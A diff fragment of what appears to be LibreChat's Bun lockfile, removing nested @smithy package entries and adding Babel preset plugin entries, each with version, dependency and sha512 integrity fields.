+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.11", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.39", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.42", "", { "dependencies": { "@smithy/config-resolver": "^4.4.10", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.2", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.11", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
- "@librechat/backend/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
- "@librechat/backend/@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
- "@librechat/backend/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
- "@librechat/backend/@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.13.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw=="],
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
+
+ "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
+
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
+
+ "@librechat/client/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
+
+ "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
+
+ "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
+
+ "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
+
+ "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
+
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
+
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
+
